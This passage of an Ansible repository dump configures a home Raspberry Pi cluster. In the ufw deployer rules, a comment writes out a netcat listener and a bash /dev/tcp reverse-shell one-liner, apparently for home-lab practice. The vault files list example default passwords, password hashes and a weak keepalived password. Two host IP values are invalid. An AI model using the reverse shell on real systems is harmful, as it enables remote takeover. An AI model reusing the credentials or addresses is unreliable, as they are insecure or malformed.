20 | src: ntp_server.j2
21 | dest: /etc/ntp.conf
22 | mode: 0644
23 | owner: root
24 | group: root
25 | become: true
26 | notify: ntp_restart
27 | tags: [ntp]
28 |
29 |
30 | # started + enabled
31 | - name: ntp started
32 | service:
33 | name: ntp
34 | state: started
35 | enabled: true
36 | become: true
37 | tags: [ntp]
38 |
39 |
40 | - name: roles info txt
41 | lineinfile:
42 | path: /opt/cluster/data/info_roles.txt
43 | line: "{{ role_path|basename }}"
44 | become: true
45 | tags: [ntp]
46 |
--------------------------------------------------------------------------------
/ansible/roles/ntp-server/templates/ntp_server.j2:
--------------------------------------------------------------------------------
1 | # {{ ansible_managed }}
2 | # created by role: {{role_path|basename}}
3 |
4 | driftfile /var/lib/ntp/ntp.drift
5 |
6 | # Enable this if you want statistics to be logged.
7 | #statsdir /var/log/ntpstats/
8 |
9 | statistics loopstats peerstats clockstats
10 | filegen loopstats file loopstats type day enable
11 | filegen peerstats file peerstats type day enable
12 | filegen clockstats file clockstats type day enable
13 |
14 | server 0.{{ use_ntp_pool }}
15 | server 1.{{ use_ntp_pool }}
16 | server 2.{{ use_ntp_pool }}
17 | server 3.{{ use_ntp_pool }}
18 |
19 | server 127.127.1.0
20 | fudge 127.127.1.0 stratum 10
21 |
22 | # By default, exchange time with everybody, but don't allow configuration.
23 | restrict -4 default kod notrap nomodify nopeer noquery limited
24 | restrict -6 default kod notrap nomodify nopeer noquery limited
25 |
26 | # Local users may interrogate the ntp server more closely.
27 | restrict 127.0.0.1
28 | restrict ::1
29 |
30 | # Needed for adding pool entries
31 | restrict source notrap nomodify noquery
32 |
--------------------------------------------------------------------------------
/ansible/roles/puppet-agent/defaults/main.yml:
--------------------------------------------------------------------------------
1 |
2 |
3 | pup_master_uri: "puppet.example.com"
4 |
--------------------------------------------------------------------------------
/ansible/roles/puppet-agent/files/puppet.service:
--------------------------------------------------------------------------------
1 | #
2 | # puppet agent - setup by ansible
3 | #
4 | [Unit]
5 | Description=Rpi puppet agent
6 | Wants=basic.target
7 | After=basic.target network.target
8 |
9 | [Service]
10 | EnvironmentFile=-/etc/sysconfig/puppetagent
11 | EnvironmentFile=-/etc/sysconfig/puppet
12 | EnvironmentFile=-/etc/default/puppet
13 | ExecStart=/usr/local/bin/puppet agent $PUPPET_EXTRA_OPTS --no-daemonize
14 | ExecReload=/bin/kill -HUP $MAINPID
15 | KillMode=process
16 |
17 | [Install]
18 | WantedBy=multi-user.target
19 |
--------------------------------------------------------------------------------
/ansible/roles/puppet-agent/files/remove_puppet.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | systemctl stop puppet.service
4 | systemctl disable puppet.service
5 |
6 | rm -rf -- /etc/puppetlabs/
7 | rm -rf -- /etc/default/puppet
8 | rm -rf -- /etc/systemd/system/multi-user.target.wants/puppet.service
9 |
10 | systemctl daemon-reload
11 |
--------------------------------------------------------------------------------
/ansible/roles/puppet-agent/meta/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | galaxy_info:
3 | role_name: puppet-agent
4 | author: crgm
5 | description: install the puppet agent
6 | company: crgm inc
7 | license: license (no)
8 | min_ansible_version: 2.8
9 | platforms:
10 | - name: Raspbian
11 | versions:
12 | - stretch
13 |
--------------------------------------------------------------------------------
/ansible/roles/readme.md:
--------------------------------------------------------------------------------
1 | # roles/
2 |
3 | My Ansible Roles.
4 |
5 | Location on deployer: /home/pi/rpi_cluster/ansible/roles
--------------------------------------------------------------------------------
/ansible/roles/reboot/files/check_rebooted.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # name: check_rebooted.sh
3 | # desc: check our uptime and alert if greater than 10 minutes.
4 |
5 | cur_up=$(awk '{print $0/60;}' /proc/uptime)
6 |
7 | if [ $(echo "$cur_up < 10" | bc) -ne 0 ];
8 | then
9 | echo "ok";
10 | true;
11 | else
12 | echo "ERROR";
13 | false;
14 | fi
15 |
--------------------------------------------------------------------------------
/ansible/roles/redis/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | # Redis server - https://redis.io/
3 | - debug: msg="Redis server role "
4 |
5 |
6 | - name: install redis
7 | apt:
8 | name: "{{ item }}"
9 | state: present
10 | loop:
11 | - redis-tools
12 | - redis-server
13 | become: true
14 | tags: [redis]
15 |
16 |
17 | - name: redis-server is started and enabled
18 | service:
19 | name: redis-server
20 | state: started
21 | enabled: true
22 | become: true
23 | tags: [redis]
24 |
25 |
26 | - name: install python redis module
27 | pip:
28 | name: redis
29 | executable: pip3
30 | become: true
31 | tags: [redis]
32 |
33 |
34 | - name: get redis server info
35 | command: redis-cli info server
36 | register: redis_server_info
37 | changed_when: false
38 | tags: [redis]
39 |
40 |
41 | - name: check redis server ok
42 | assert:
43 | that:
44 | - "'process_id' in redis_server_info.stdout"
45 | tags: [redis]
46 |
47 |
48 | - name: Configure local redis to have 500 max clients
49 | redis:
50 | command: config
51 | name: maxclients
52 | value: "500"
53 | tags: [redis]
54 |
55 |
56 | - name: roles info txt
57 | lineinfile:
58 | path: /opt/cluster/data/info_roles.txt
59 | line: "{{ role_path|basename }}"
60 | owner: root
61 | group: root
62 | mode: 0444
63 | become: true
64 | tags: [redis]
65 |
--------------------------------------------------------------------------------
/ansible/roles/rpilog/files/22-rpicluster.conf:
--------------------------------------------------------------------------------
1 | :syslogtag, isequal, "rpicluster:" /var/log/rpicluster.log
2 | & stop
3 |
--------------------------------------------------------------------------------
/ansible/roles/rpilog/files/test-rpilog.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # check rpilog ansible role has setup the host properly.
4 |
5 |
6 | rpilogit () {
7 | echo -e "rpicluster: $script_name $1 \n";
8 | logger -t rpicluster "$script_name $1";
9 | }
10 |
11 |
12 | scriptname=$(basename -- "$1")
13 | hostname=$(hostname)
14 | test_token=$(uuidgen)
15 |
16 | rpilogit "${scriptname} checking rpilog on ${hostname}";
17 | rpilogit "${scriptname} looking for token: ${test_token}";
18 |
19 | grep --silent "${test_token}" /var/log/rpicluster.log
20 |
21 | if [ $? -eq 0 ]; then
22 | rpilogit "${scriptname} test passed"
23 | true
24 | exit
25 | else
26 | rpilogit "${scriptname} ERROR test failed"
27 | exit 1
28 | fi
29 |
--------------------------------------------------------------------------------
/ansible/roles/rpilog/handlers/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 |
4 | - name: syslog-restart
5 | service:
6 | name: rsyslog
7 | state: restarted
8 | notify: test the role is working
9 | become: true
10 |
11 |
12 | - name: test the role is working
13 | script: /opt/cluster/bin/test-rpilog.sh
14 | changed_when: false
--------------------------------------------------------------------------------
/ansible/roles/rpilog/meta/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | galaxy_info:
3 | role_name: rpilog
4 | author: crgm
5 | description: custom /var/log/rpicluster.log logging
6 | company: crgm inc
7 | license: license (no)
8 | min_ansible_version: 2.8
9 | platforms:
10 | - name: Raspbian
11 | versions:
12 | - stretch
13 | dependencies:
14 | - role: base-system
15 |
--------------------------------------------------------------------------------
/ansible/roles/rpilog/templates/rpilogro.j2:
--------------------------------------------------------------------------------
1 | # {{ ansible_managed }}
2 | # ansible role: {{role_path|basename}}
3 | #
4 | /var/log/rpicluster.log {
5 | maxsize 1M
6 | missingok
7 | compress
8 | notifempty
9 | rotate 8
10 | create 0664 {{ ansible_user_id }} adm
11 | }
12 |
--------------------------------------------------------------------------------
/ansible/roles/ssh-server/defaults/main.yml:
--------------------------------------------------------------------------------
1 |
2 | ssh_group_port: "2229"
3 |
--------------------------------------------------------------------------------
/ansible/roles/ssh-server/handlers/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | # ssh handlers
3 |
4 |
5 | # restart ssh
6 | - name: sshd_restart
7 | service:
8 | name: ssh
9 | state: restarted
10 | become: true
11 | tags: [ssh]
12 |
--------------------------------------------------------------------------------
/ansible/roles/ssh-server/meta/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | galaxy_info:
3 | role_name: ssh-server
4 | author: crgm
5 | description: sshd server config
6 | company: crgm inc
7 | license: license (no)
8 | min_ansible_version: 2.8
9 | platforms:
10 | - name: Raspbian
11 | versions:
12 | - stretch
13 | dependencies:
14 | - role: base-system
15 | - role: userac
16 |
--------------------------------------------------------------------------------
/ansible/roles/ssh-server/templates/auth_principals/pi.j2:
--------------------------------------------------------------------------------
1 | pi
2 | pi-everywhere
--------------------------------------------------------------------------------
/ansible/roles/ssh-server/templates/avahi_ssh_service.j2:
--------------------------------------------------------------------------------
1 |
2 | %h
3 |
4 | _ssh._tcp
5 | {{ ssh_group_port }}
6 |
7 |
8 |
--------------------------------------------------------------------------------
/ansible/roles/ssh-server/templates/etc/motd.j2:
--------------------------------------------------------------------------------
1 |
2 | ========================================
3 | .......:: Raspberry Pi Cluster ::.......
4 | ----------------------------------------
5 | Name: {{ inventory_hostname }}
6 | {% if 'compute' in group_names %}
7 | Type: compute/worker node
8 | {% endif %}
9 | {% if 'lanservices' in group_names %}
10 | Type: LanServices - Main
11 | {% endif %}
12 | {% if 'deploy' in group_names %}
13 | Type: Deployer (Admin!!)
14 | {% endif %}
15 | ========================================
16 |
--------------------------------------------------------------------------------
/ansible/roles/ssh-server/templates/etc/ssh/ssh_config.j2:
--------------------------------------------------------------------------------
1 | # {{ ansible_managed }}
2 | # ssh client config of {{ inventory_hostname }}
3 | # setup by role: {{role_path|basename}}
4 |
5 | Host *
6 | ForwardAgent no
7 | ForwardX11 no
8 | ForwardX11Trusted no
9 | # RhostsRSAAuthentication no
10 | # RSAAuthentication yes
11 | # PasswordAuthentication yes
12 | # HostbasedAuthentication no
13 | # GSSAPIAuthentication no
14 | # GSSAPIDelegateCredentials no
15 | # GSSAPIKeyExchange no
16 | # GSSAPITrustDNS no
17 | # BatchMode no
18 | # CheckHostIP yes
19 | # AddressFamily any
20 | ConnectTimeout 12
21 | # StrictHostKeyChecking ask
22 | # IdentityFile ~/.ssh/identity
23 | # Port 22
24 | Protocol 2
25 | # Cipher 3des
26 | # Ciphers aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc
27 | # MACs hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160
28 | # EscapeChar ~
29 | # Tunnel no
30 | # TunnelDevice any:any
31 | # PermitLocalCommand no
32 | # VisualHostKey no
33 | # ProxyCommand ssh -q -W %h:%p gateway.example.com
34 | # RekeyLimit 1G 1h
35 | SendEnv LANG LC_*
36 | HashKnownHosts yes
37 | GSSAPIAuthentication yes
38 | GSSAPIDelegateCredentials no
39 |
--------------------------------------------------------------------------------
/ansible/roles/sysstat/handlers/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | - name: sysstat_restart
4 | service:
5 | name: sysstat
6 | state: restarted
7 | become: true
8 | tags: [sysstat]
9 |
--------------------------------------------------------------------------------
/ansible/roles/sysstat/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - debug: msg="sysstat "
3 |
4 |
5 | - name: install sysstat
6 | apt:
7 | state: present
8 | name: sysstat
9 | become: true
10 | register: aptinstsystat
11 | tags: [sysstat]
12 |
13 |
14 | - name: systat enabled on boot
15 | service:
16 | name: sysstat
17 | enabled: true
18 | become: true
19 | tags: [sysstat]
20 |
21 |
22 | - name: copy default config
23 | template:
24 | src: default.j2
25 | dest: /etc/default/sysstat
26 | owner: root
27 | group: root
28 | mode: 0664
29 | backup: true
30 | notify: sysstat_restart
31 | become: true
32 | tags: [sysstat]
33 |
34 |
35 | - name: copy config
36 | template:
37 | src: sysstat.j2
38 | dest: /etc/sysstat/sysstat
39 | owner: root
40 | group: root
41 | mode: 0664
42 | backup: true
43 | notify: sysstat_restart
44 | become: true
45 | tags: [sysstat]
46 |
47 |
48 | - name: systat started
49 | service:
50 | name: sysstat
51 | state: started
52 | become: true
53 | tags: [sysstat]
54 |
55 |
56 | - name: roles info txt
57 | lineinfile:
58 | path: /opt/cluster/data/info_roles.txt
59 | line: "{{ role_path|basename }}"
60 | owner: root
61 | group: root
62 | mode: 0444
63 | become: true
64 | tags: [sysstat]
65 |
--------------------------------------------------------------------------------
/ansible/roles/sysstat/templates/default.j2:
--------------------------------------------------------------------------------
1 | #
2 | # {{ ansible_managed }}
3 | # created by role: {{role_path|basename}}
4 |
5 | # Default settings for /etc/init.d/sysstat, /etc/cron.d/sysstat
6 | # and /etc/cron.daily/sysstat files
7 | #
8 |
9 | # Should sadc collect system activity informations? Valid values
10 | # are "true" and "false". Please do not put other values, they
11 | # will be overwritten by debconf!
12 | ENABLED="true"
13 |
--------------------------------------------------------------------------------
/ansible/roles/sysstat/templates/sysstat.j2:
--------------------------------------------------------------------------------
1 | #
2 | # {{ ansible_managed }}
3 | # created by role: {{role_path|basename}}
4 |
5 | # sysstat configuration file. See sysstat(5) manual page.
6 |
7 | # How long to keep log files (in days).
8 | # Used by sa2(8) script
9 | # If value is greater than 28, then log files are kept in
10 | # multiple directories, one for each month.
11 | HISTORY=7
12 |
13 | # Compress (using xz, gzip or bzip2) sa and sar files older than (in days):
14 | COMPRESSAFTER=10
15 |
16 | # Parameters for the system activity data collector (see sadc(8) manual page)
17 | # which are used for the generation of log files.
18 | # By default contains the `-S DISK' option responsible for generating disk
19 | # statisitcs. Use `-S XALL' to collect all available statistics.
20 | SADC_OPTIONS="-S DISK"
21 |
22 | # Directory where sa and sar files are saved.
23 | SA_DIR=/var/log/sysstat
24 |
25 | # Compression program to use.
26 | ZIP="xz"
27 |
28 | # By default sa2 script generates yesterday's summary, since the cron job
29 | # usually runs right after midnight. If you want sa2 to generate the summary
30 | # of the same day (for example when cron job runs at 23:53) set this variable.
31 | #YESTERDAY=no
32 |
33 | # By default sa2 script generates reports files (the so called sarDD files).
34 | # Set this variable to false to disable reports generation.
35 | #REPORTS=false
36 |
--------------------------------------------------------------------------------
/ansible/roles/ufw/handlers/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 |
4 | - name: ufw_restart
5 | service:
6 | name: ufw
7 | state: restarted
8 | become: true
9 |
--------------------------------------------------------------------------------
/ansible/roles/ufw/meta/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | galaxy_info:
3 | role_name: ufw
4 | author: crgm
5 | description: install ufw to manage iptables and then setup some firewall rules
6 | company: crgm inc
7 | license: license (no)
8 | min_ansible_version: 2.8
9 | platforms:
10 | - name: Raspbian
11 | versions:
12 | - stretch
13 |
--------------------------------------------------------------------------------
/ansible/roles/ufw/tasks/compute.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - debug: msg="ufw rules for Compute group "
3 |
4 |
5 | # SSH access
6 | - name: Allow SSH from our local subnet
7 | ufw:
8 | rule: allow
9 | port: '{{ item }}'
10 | src: "{{ rpi_net_id }}/{{ rpi_net_maskbit }}"
11 | comment: SSH access
12 | become: true
13 | notify: ufw_restart
14 | with_items:
15 | - '22'
16 |
17 |
18 | # for Docker network addons - allow all inernal subnets
19 | - name: Allow internal subnets any ports
20 | ufw:
21 | rule: allow
22 | src: '{{ item }}'
23 | notify: ufw_restart
24 | become: true
25 | with_items:
26 | - 10.0.0.0/8
27 | - 172.16.0.0/12
28 | - 192.168.0.0/16
29 |
30 |
31 | - name: Allow incoming access to cni0
32 | ufw:
33 | rule: allow
34 | interface: cni0
35 | direction: in
36 | become: true
37 | - name: Allow out access to cni0
38 | ufw:
39 | rule: allow
40 | interface: cni0
41 | direction: out
42 | become: true
43 |
44 | - name: Allow incoming access to docker0
45 | ufw:
46 | rule: allow
47 | interface: docker0
48 | direction: in
49 | become: true
50 | - name: Allow out access to docker0
51 | ufw:
52 | rule: allow
53 | interface: docker0
54 | direction: out
55 | become: true
--------------------------------------------------------------------------------
/ansible/roles/ufw/tasks/deployer.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - debug: msg="ufw rules for Deployer group "
3 |
4 |
5 | - name: Allow ssh access from RFC1918 networks to this host
6 | ufw:
7 | rule: allow
8 | src: '{{ item }}'
9 | proto: tcp
10 | port: '22'
11 | comment: SSH to deployer from private networks
12 | become: true
13 | notify: ufw_restart
14 | with_items:
15 | - 10.0.0.0/8
16 | - 172.16.0.0/12
17 | - 192.168.0.0/16
18 |
19 |
20 | #
21 | # On deployer, our attack box, listen for our shell:
22 | #
23 | # nc -lvp 1337
24 | #
25 | # On the target, where you have RCE, you can run:
26 | #
27 | # bash -i >& /dev/tcp/psi.local/1337 0>&1
28 | #
29 | - name: port to catch shells
30 | ufw:
31 | rule: allow
32 | port: '1337'
33 | proto: tcp
34 | src: '{{ rpi_net_id }}/{{ rpi_net_maskbit }}'
35 | comment: spare port to catch shells
36 | notify: ufw_restart
37 | become: true
38 |
--------------------------------------------------------------------------------
/ansible/roles/ufw/tasks/lanservice_main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - debug: msg="ufw rules for lanservice MAIN "
3 |
4 |
5 | # SSH access
6 | - name: Allow SSH from our local subnet
7 | ufw:
8 | rule: allow
9 | port: '{{ item }}'
10 | src: "{{ rpi_net_id }}/{{ rpi_net_maskbit }}"
11 | comment: SSH access
12 | become: true
13 | notify: ufw_restart
14 | with_items:
15 | - '22'
16 |
17 |
18 | # Alpha and Beta have full access between each other
19 | - name: Allow all access from my failover
20 | ufw:
21 | rule: allow
22 | src: "{{ rpi_failover_ip }}/32"
23 | comment: my lanservice_main failover
24 | become: true
25 | notify: ufw_restart
26 |
27 |
28 | # The services we provide for our local subnet
29 | - name: Allow access these ports from our local subnet
30 | ufw:
31 | rule: allow
32 | port: '{{ item }}'
33 | src: "{{ rpi_net_id }}/{{ rpi_net_maskbit }}"
34 | comment: services for local lan
35 | become: true
36 | notify: ufw_restart
37 | with_items:
38 | - '53'
39 | - '67'
40 | - '68'
41 | - '69'
42 | - '123'
43 |
--------------------------------------------------------------------------------
/ansible/roles/upgrades/meta/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | galaxy_info:
3 | role_name: upgrades
4 | author: crgm
5 | description: update all apt packages
6 | company: crgm inc
7 | license: license (no)
8 | min_ansible_version: 2.8
9 | platforms:
10 | - name: Raspbian
11 | versions:
12 | - stretch
13 |
--------------------------------------------------------------------------------
/ansible/roles/upgrades/tasks/package_apt.yml:
--------------------------------------------------------------------------------
1 | ---
2 | # upgrade all apt packages, and check after
3 | - debug: msg="package upgrades for apt "
4 |
5 |
6 | - name: Check we get a http status 200 from raspbian mirror
7 | uri:
8 | url: "{{ apt_mirror_rasp }}"
9 |
10 |
11 | # update Apt cache
12 | - name: update apt cache
13 | apt:
14 | update_cache: true
15 | become: true
16 | retries: 2
17 | check_mode: no
18 | changed_when: False
19 | tags: [maintenance]
20 |
21 |
22 | - name: pause
23 | pause:
24 | seconds: 2
25 | tags: [maintenance]
26 |
27 |
28 | # Upgrade all Apt packages
29 | - name: Upgrade all packages to the latest version
30 | apt:
31 | name: "*"
32 | state: latest
33 | retries: 2
34 | become: true
35 | register: apt_upgraded
36 | tags: [maintenance]
37 |
38 |
39 | - name: pause
40 | pause:
41 | seconds: 3
42 | tags: [maintenance]
43 | when: apt_upgraded.changed
44 |
45 |
46 | # actually check all packages are current
47 | - name: check apt packages are current
48 | command: /usr/lib/nagios/plugins/check_apt --timeout=30 --list
49 | register: checkapt_nag
50 | become: true
51 | changed_when: False
52 | failed_when:
53 | - "'APT OK: 0 packages available for upgrade (0 critical updates)' not in checkapt_nag.stdout"
54 |
--------------------------------------------------------------------------------
/ansible/roles/upgrades/tasks/package_gem.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 |
4 | - debug: msg="package upgrades for ruby "
5 |
6 |
7 | - name: update ruby gems packages
8 | gem:
9 | name: "*"
10 | state: latest
11 | become: true
--------------------------------------------------------------------------------
/ansible/roles/upgrades/tasks/package_pip.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 |
4 | - debug: msg="package upgrades for pip "
5 |
6 |
7 | - name: update python pip packages
8 | pip:
9 | name: "*"
10 | state: latest
11 | executable: pip3
12 | become: true
--------------------------------------------------------------------------------
/ansible/roles/upgrades/vars/main.yml:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/ansible/roles/uptimed/handlers/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
--------------------------------------------------------------------------------
/ansible/roles/uptimed/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | # uptimed - an uptime record daemon
3 | # https://github.com/rpodgorny/uptimed
4 | # use "uprecords" command to view.
5 | - debug: msg="uptimed "
6 |
7 |
8 | - name: install uptimed
9 | apt:
10 | state: present
11 | name: uptimed
12 | become: true
13 | tags: uptimed
14 |
15 |
16 | - name: enable uptimed on boot
17 | service:
18 | name: uptimed
19 | state: started
20 | enabled: true
21 | become: true
22 | tags: uptimed
23 |
24 |
25 | - name: roles info txt
26 | lineinfile:
27 | path: /opt/cluster/data/info_roles.txt
28 | line: "{{ role_path|basename }}"
29 | owner: root
30 | group: root
31 | mode: 0444
32 | become: true
33 | tags: uptimed
34 |
--------------------------------------------------------------------------------
/ansible/roles/yarn/meta/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | galaxy_info:
3 | role_name: yarn
4 | author: crgm
5 | description: a javascript package manager
6 | company: crgm inc
7 | license: license (no)
8 | min_ansible_version: 2.8
9 | platforms:
10 | - name: Raspbian
11 | versions:
12 | - stretch
13 | dependencies:
14 | - role: base-system
15 |
--------------------------------------------------------------------------------
/ansible/roles/yarn/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | # Yarn - https://yarnpkg.com/en/
3 | - debug: msg="deployer (yarn) "
4 |
5 |
6 |
7 | - name: Add yarn apt key
8 | apt_key:
9 | data: "{{ lookup('file', 'yarnkey.asc') }}"
10 | state: present
11 | become: true
12 |
13 |
14 | - name: add yarn apt repo
15 | apt_repository:
16 | repo: deb https://dl.yarnpkg.com/debian/ stable main
17 | state: present
18 | become: true
19 |
20 |
21 | - name: yarn packages installed
22 | apt:
23 | name: "{{ item }}"
24 | state: present
25 | update_cache: true
26 | loop:
27 | - yarn
28 | become: true
29 | retries: 2
30 |
31 |
32 | # log
33 | - name: output to rpicluster log
34 | command: logger -t rpicluster ansible yarn role ran
35 | changed_when: False
--------------------------------------------------------------------------------
/ansible/setup/defaults/group_vars/compute/vars:
--------------------------------------------------------------------------------
1 | ---
2 | # Varibles for all compute nodes
3 |
4 | # Common host configs ----------------------------------------------------------
5 |
6 | host_dir: [
7 | { dir: '/opt/hpc', mode: '0750', owner: "{{ ansible_user_id }}", group: "{{ ansible_user_id }}" },
8 | { dir: '/opt/cluster/compute', mode: '0750', owner: "{{ ansible_user_id }}", group: "{{ ansible_user_id }}" }
9 | ]
10 |
11 | # SSH additional port
12 | ssh_group_port: "2020"
13 |
14 | #-------------------------------------------------------------------------------
15 |
16 | # Compute nodes to use these NTP servers
17 | rpi_ntp_client_1: "{{ hostvars['alpha']['rpi_ip'] }}"
18 | rpi_ntp_client_2: "{{ hostvars['beta']['rpi_ip'] }}"
19 |
20 | #-------------------------------------------------------------------------------
21 |
--------------------------------------------------------------------------------
/ansible/setup/defaults/group_vars/compute/vault:
--------------------------------------------------------------------------------
1 | # Compute group vault file
2 |
3 | # OS user password -------------------------------------------------------------
4 |
5 | # user: root pass: dfaultPW.example_root
6 | # user: piclust pass: dfaultPW.example_123
7 | # user: pi pass: dfaultPW.example_pi
8 |
9 | vault_user_pw: [
10 | {user: 'root', hash: '$6$rounds=656000$kvg9muhj2hcrVI83$C.ytqCBHtYoTTskR1tj/NDqci1fzeaym/KfCeFilsQJqAXgFOTCaQh/IEE/dlepvNy/v4qGaTnrG6oj320BCh0'},
11 | {user: 'piclust', hash: '$6$rounds=656000$4toLen6SzTw3sPg5$7PDWuLyOOaPJ3NbWAnAPd4pjdVUKn4ngwDtLX./159/tYmmLA3ArrVaqmJSY2m0AFOz4PskxxNGILlfEy478s/'},
12 | {user: 'computeadm', hash: '$6$rounds=656000$YK1qnGCWOE.ssHc4$yIJ/2kWjYBcWofiygJ9x0qH9hu4nY0H60DspBkfxJ0meYvBevvr2d5J2kTW1HnR3WVv.Dj1ypdEmrrrxhvIah0'},
13 | {user: 'pi', hash: '$6$rounds=656000$d6LtcYGCN1WShRJV$aRPBfdX/SC3v4Ttm64ZUyAUuNbLNYlhHWddldZAhFhW4hUAq8flQQNonUhLm7kV/Jz06ExFt40Yz5rnBUVU1y.'}
14 | ]
15 |
16 | # generating the hashes above, on an Admin machine (stretch or psi):
17 | #
18 | # source ~/env/bin/activate
19 | # set +o history
20 | # ansible localhost -m debug -a "msg={{ 'mypassword' | password_hash('sha512', 'mysalt123') }}"
21 | # set -o history
22 |
23 | #-------------------------------------------------------------------------------
24 |
--------------------------------------------------------------------------------
/ansible/setup/defaults/group_vars/deploy/vars:
--------------------------------------------------------------------------------
1 | ---
2 | # vars Deployer group
3 |
4 | # Common host configs ----------------------------------------------------------
5 |
6 | host_dir: [
7 | { dir: '/home/pi/.ssh/my-ssh-ca', mode: '0700', owner: '{{ ansible_user_id }}', group: '{{ ansible_user_id }}' },
8 | { dir: '/opt/cluster/backup', mode: '0770', owner: '{{ ansible_user_id }}', group: '{{ ansible_user_id }}' },
9 | { dir: '/opt/cluster/deploy-script', mode: '0770', owner: '{{ ansible_user_id }}', group: '{{ ansible_user_id }}' },
10 | { dir: '/srv/gitrepo/', mode: '0775', owner: '{{ ansible_user_id }}', group: 'staff' }
11 | ]
12 |
13 | # SSH additional port
14 | ssh_group_port: "2222"
15 |
16 | #-------------------------------------------------------------------------------
17 |
--------------------------------------------------------------------------------
/ansible/setup/defaults/group_vars/lanservices/vars:
--------------------------------------------------------------------------------
1 | ---
2 | # Varibles for LanServices main (Alpha and Beta nodes)
3 |
4 | # Common host configs ----------------------------------------------------------
5 |
6 | host_dir: [
7 | { dir: '/opt/cluster/lanservice', mode: '0750', owner: "{{ ansible_user_id }}", group: "{{ ansible_user_id }}" },
8 | ]
9 |
10 | # extra SSH port for this group/host
11 | ssh_group_port: "2220"
12 |
13 | #-------------------------------------------------------------------------------
14 |
15 | rpi_dnsd_enabled: true
16 |
17 | # chrooted Busybox webserver
18 | rpi_bb_httpd_enabled: true
19 |
20 | #-------------------------------------------------------------------------------
21 |
--------------------------------------------------------------------------------
/ansible/setup/defaults/group_vars/lanservices/vault:
--------------------------------------------------------------------------------
1 | # LanServices group vault file
2 |
3 | # OS user password -------------------------------------------------------------
4 |
5 | # user: root pass: dfaultPW.example_root
6 | # user: piclust pass: dfaultPW.example_123
7 | # user: pi pass: dfaultPW.example_pi
8 |
9 | vault_user_pw: [
10 | {user: 'root', hash: '$6$rounds=656000$kvg9muhj2hcrVI83$C.ytqCBHtYoTTskR1tj/NDqci1fzeaym/KfCeFilsQJqAXgFOTCaQh/IEE/dlepvNy/v4qGaTnrG6oj320BCh0'},
11 | {user: 'piclust', hash: '$6$rounds=656000$4toLen6SzTw3sPg5$7PDWuLyOOaPJ3NbWAnAPd4pjdVUKn4ngwDtLX./159/tYmmLA3ArrVaqmJSY2m0AFOz4PskxxNGILlfEy478s/'},
12 | {user: 'pi', hash: '$6$rounds=656000$d6LtcYGCN1WShRJV$aRPBfdX/SC3v4Ttm64ZUyAUuNbLNYlhHWddldZAhFhW4hUAq8flQQNonUhLm7kV/Jz06ExFt40Yz5rnBUVU1y.'}
13 | ]
14 |
15 | #-------------------------------------------------------------------------------
16 |
17 | keepalived_pass: "12345678910"
18 |
19 | #-------------------------------------------------------------------------------
20 |
--------------------------------------------------------------------------------
/ansible/setup/defaults/host_vars/alpha/vars:
--------------------------------------------------------------------------------
1 | ---
2 | # vars for Alpha (LanServices Main group)
3 |
4 | ansible_host: alpha.local
5 | rpi_racked: "L2"
6 | rpi_ip: "192.168.6.10.6"
7 | rpi_mac: "b8:27:eb:31:XX:XX"
8 |
9 | # DHCP server:
10 | rpi_dhcpd_enabled: true
11 | rpi_dhcpd_status: "primary"
12 | rpi_dhcpd_port: "647"
13 | rpi_dhcpd_port_peer: "648"
14 | # primary only config:
15 | rpi_dhcpd_mclt: "mclt 1800"
16 | rpi_dhcpd_split: "split 128"
17 |
18 | # DNS config:
19 | rpi_dnsd_enabled: true
20 | rpi_dnsd_status: "master"
21 | rpi_dnsd_notify: "yes"
22 |
23 | # /etc/resolv.conf:
24 | rpi_my_dns_server_1: "127.0.0.1"
25 | rpi_my_dns_server_2: "{{ hostvars['beta']['rpi_ip'] }}"
26 |
27 | # Failover host (beta):
28 | rpi_failover_hostname: "beta"
29 | rpi_failover_ip: "{{ hostvars['beta']['rpi_ip'] }}"
30 | rpi_failover_hwaddr: "{{ hostvars['beta']['rpi_mac'] }}"
31 |
32 | # keepalived
33 | keepalived_priority: "100"
34 | keepalived_state: "MASTER"
35 |
36 | #-------------------------------------------------------------------------------
37 |
--------------------------------------------------------------------------------
/ansible/setup/defaults/host_vars/beta/vars:
--------------------------------------------------------------------------------
1 | ---
2 | # vars for Beta (LanServices Main group)
3 |
4 | ansible_host: beta.local
5 | rpi_racked: "R2"
6 | rpi_ip: "192.168.6.10.8"
7 | rpi_mac: "b8:27:eb:91:XX:XX"
8 |
9 | # DHCP server:
10 | rpi_dhcpd_enabled: true
11 | rpi_dhcpd_status: "secondary"
12 | rpi_dhcpd_port: "648"
13 | rpi_dhcpd_port_peer: "647"
14 |
15 | # DNS config:
16 | rpi_dnsd_enabled: true
17 | rpi_dnsd_status: "secondary"
18 | rpi_dnsd_notify: "no"
19 | # set on secondary bind9 server only:
20 | rpi_dnsd_masters: "{{ hostvars['alpha']['rpi_ip'] }}"
21 |
22 | # /etc/resolv.conf:
23 | rpi_my_dns_server_1: "127.0.0.1"
24 | rpi_my_dns_server_2: "{{ hostvars['alpha']['rpi_ip'] }}"
25 |
26 | # Failover host (alpha):
